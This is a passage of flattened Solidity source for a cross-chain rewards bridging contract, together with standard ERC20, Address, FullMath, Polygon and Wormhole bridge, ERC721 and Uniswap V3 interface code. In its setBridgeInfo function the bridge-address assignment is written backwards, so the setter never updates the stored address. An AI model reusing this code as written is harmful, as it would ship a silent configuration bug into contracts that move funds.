*/ modifier onlyByOwnerOrGovernance() { require(msg.sender == owner || msg.sender == timelock_address, "Not owner or timelock"); _; } modifier onlyRewardsDistributor() { require(msg.sender == rewards_distributor_address, "Not rewards distributor"); _; } /* ========== CONSTRUCTOR ========== */ constructor( address _owner, address _timelock_address, address _rewards_distributor_address, address _bridge_address, uint256 _bridge_type, address _destination_address_override, string memory _non_evm_destination_address, string memory _name ) Owned(_owner) { timelock_address = _timelock_address; rewards_distributor_address = _rewards_distributor_address; bridge_address = _bridge_address; bridge_type = _bridge_type; destination_address_override = _destination_address_override; non_evm_destination_address = _non_evm_destination_address; name = _name; fake_nonce = 0; } /* ========== MUTATIVE FUNCTIONS ========== */ // Callable only by the rewards distributor function pullAndBridge(uint256 reward_amount) external onlyRewardsDistributor { require(bridge_address != address(0), "Invalid bridge address"); // Pull in the rewards from the rewards distributor TransferHelper.safeTransferFrom(reward_token_address, rewards_distributor_address, address(this), reward_amount); address address_to_send_to = address(this); if (destination_address_override != address(0)) address_to_send_to = destination_address_override; if (bridge_type == 0) { // Avalanche [Anyswap] TransferHelper.safeTransfer(reward_token_address, address_to_send_to, reward_amount); } else if (bridge_type == 1) { // BSC TransferHelper.safeTransfer(reward_token_address, address_to_send_to, reward_amount); } else if (bridge_type == 2) { // Fantom [Anyswap] TransferHelper.safeTransfer(reward_token_address, address_to_send_to, reward_amount); } else if (bridge_type == 3) { // Polygon // Bridge is 0xA0c68C638235ee32657e8f720a23ceC1bFc77C77 // Interesting info https://blog.cryption.network/cryption-network-launches-cross-chain-staking-6cf000c25477 // Approve IRootChainManager rootChainMgr = IRootChainManager(bridge_address); bytes32 tokenType = rootChainMgr.tokenToType(reward_token_address); address predicate = rootChainMgr.typeToPredicate(tokenType); ERC20(reward_token_address).approve(predicate, reward_amount); // DepositFor bytes memory depositData = abi.encode(reward_amount); rootChainMgr.depositFor(address_to_send_to, reward_token_address, depositData); } else if (bridge_type == 4) { // Solana // Wormhole Bridge is 0xf92cD566Ea4864356C5491c177A430C222d7e678 revert("Not supported yet"); // // Approve // ERC20(reward_token_address).approve(bridge_address, reward_amount); // // lockAssets // require(non_evm_destination_address != 0, "Invalid destination"); // // non_evm_destination_address = base58 -> hex // // https://www.appdevtools.com/base58-encoder-decoder // IWormhole(bridge_address).lockAssets( // reward_token_address, // reward_amount, // non_evm_destination_address, // 1, // fake_nonce, // false // ); } fake_nonce += 1; } /* ========== RESTRICTED FUNCTIONS - Owner or timelock only ========== */ // Added to support recovering LP Rewards and other mistaken tokens from other systems to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnerOrGovernance { // Only the owner address can ever receive the recovery withdrawal TransferHelper.safeTransfer(tokenAddress, owner, tokenAmount); emit RecoveredERC20(tokenAddress, tokenAmount); } function setTimelock(address _new_timelock) external onlyByOwnerOrGovernance { timelock_address = _new_timelock; } function setBridgeInfo(address _bridge_address, uint256 _bridge_type, address _destination_address_override, string memory _non_evm_destination_address) external onlyByOwnerOrGovernance { _bridge_address = bridge_address; // 0: Avalanche // 1: BSC // 2: Fantom // 3: Polygon // 4: Solana bridge_type = _bridge_type; // Overridden cross-chain destination address destination_address_override = _destination_address_override; // Set bytes32 / non-EVM address on the other chain, if applicable non_evm_destination_address = _non_evm_destination_address; emit BridgeInfoChanged(_bridge_address, _bridge_type, _destination_address_override, _non_evm_destination_address); } function setRewardsDistributor(address _rewards_distributor_address) external onlyByOwnerOrGovernance { rewards_distributor_address = _rewards_distributor_address; } /* ========== EVENTS ========== */ event RecoveredERC20(address token, uint256 amount); event BridgeInfoChanged(address bridge_address, uint256 bridge_type, address destination_address_override, string non_evm_destination_address); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "../Common/Context.sol"; import "../Math/SafeMath.sol"; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11 <0.9.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; pragma experimental ABIEncoderV2; interface IRootChainManager { function depositFor (address user, address rootToken, bytes memory depositData) external; function tokenToType (address) external view returns (bytes32); function typeToPredicate (bytes32) external view returns (address); } // interface GeneratedInterface { // function DEFAULT_ADMIN_ROLE ( ) external view returns ( bytes32 ); // function DEPOSIT ( ) external view returns ( bytes32 ); // function ERC712_VERSION ( ) external view returns ( string ); // function ETHER_ADDRESS ( ) external view returns ( address ); // function MAPPER_ROLE ( ) external view returns ( bytes32 ); // function MAP_TOKEN ( ) external view returns ( bytes32 ); // function checkpointManagerAddress ( ) external view returns ( address ); // function childChainManagerAddress ( ) external view returns ( address ); // function childToRootToken ( address ) external view returns ( address ); // function cleanMapToken ( address rootToken, address childToken ) external; // function depositEtherFor ( address user ) external; // function depositFor ( address user, address rootToken, bytes depositData ) external; // function executeMetaTransaction ( address userAddress, bytes functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV ) external returns ( bytes ); // function exit ( bytes inputData ) external; // function getChainId ( ) external pure returns ( uint256 ); // function getDomainSeperator ( ) external view returns ( bytes32 ); // function getNonce ( address user ) external view returns ( uint256 nonce ); // function getRoleAdmin ( bytes32 role ) external view returns ( bytes32 ); // function getRoleMember ( bytes32 role, uint256 index ) external view returns ( address ); // function getRoleMemberCount ( bytes32 role ) external view returns ( uint256 ); // function grantRole ( bytes32 role, address account ) external; // function hasRole ( bytes32 role, address account ) external view returns ( bool ); // function initialize ( address _owner ) external; // function initializeEIP712 ( ) external; // function mapToken ( address rootToken, address childToken, bytes32 tokenType ) external; // function processedExits ( bytes32 ) external view returns ( bool ); // function registerPredicate ( bytes32 tokenType, address predicateAddress ) external; // function remapToken ( address rootToken, address childToken, bytes32 tokenType ) external; // function renounceRole ( bytes32 role, address account ) external; // function revokeRole ( bytes32 role, address account ) external; // function rootToChildToken ( address ) external view returns ( address ); // function setCheckpointManager ( address newCheckpointManager ) external; // function setChildChainManagerAddress ( address newChildChainManager ) external; // function setStateSender ( address newStateSender ) external; // function setupContractId ( ) external; // function stateSenderAddress ( ) external view returns ( address ); // function tokenToType ( address ) external view returns ( bytes32 ); // function typeToPredicate ( bytes32 ) external view returns ( address ); // } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; pragma experimental ABIEncoderV2; interface IWormhole { function guardian_set_expirity () external view returns (uint32); function guardian_set_index () external view returns (uint32); function guardian_sets (uint32) external view returns (uint32 expiration_time); function isWrappedAsset (address) external view returns (bool); function lockAssets (address asset, uint256 amount, bytes32 recipient, uint8 target_chain, uint32 nonce, bool refund_dust) external; function lockETH (bytes32 recipient, uint8 target_chain, uint32 nonce) external; function wrappedAssetMaster () external view returns (address); function wrappedAssets (bytes32) external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity >=0.4.0; /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath { /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = a * b // Compute the product mod 2**256 and mod 2**256 - 1 // then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2**256 + prod0 uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2**256. // Also prevents denominator == 0 require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] // Compute remainder using mulmod uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator // Compute largest power of two divisor of denominator. // Always >= 1. uint256 twos = (type(uint256).max - denominator + 1) & denominator; // Divide denominator by power of two assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2**256 / twos. // If twos is zero, then it becomes one assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; // Invert denominator mod 2**256 // Now that denominator is an odd number, it has an inverse // modulo 2**256 such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct // correct for four bits. That is, denominator * inv = 1 mod 2**4 uint256 inv = (3 * denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv *= 2 - denominator * inv; // inverse mod 2**8 inv *= 2 - denominator * inv; // inverse mod 2**16 inv *= 2 - denominator * inv; // inverse mod 2**32 inv *= 2 - denominator * inv; // inverse mod 2**64 inv *= 2 - denominator * inv; // inverse mod 2**128 inv *= 2 - denominator * inv; // inverse mod 2**256 // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2**256. Since the precoditions guarantee // that the outcome is less than 2**256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inv; return result; } /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0) { require(result < type(uint256).max); result++; } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.4.0; /// @title FixedPoint96 /// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format) /// @dev Used in SqrtPriceMath.sol library FixedPoint96 { uint8 internal constant RESOLUTION = 96; uint256 internal constant Q96 = 0x1000000000000000000000000; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "../ERC165/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn 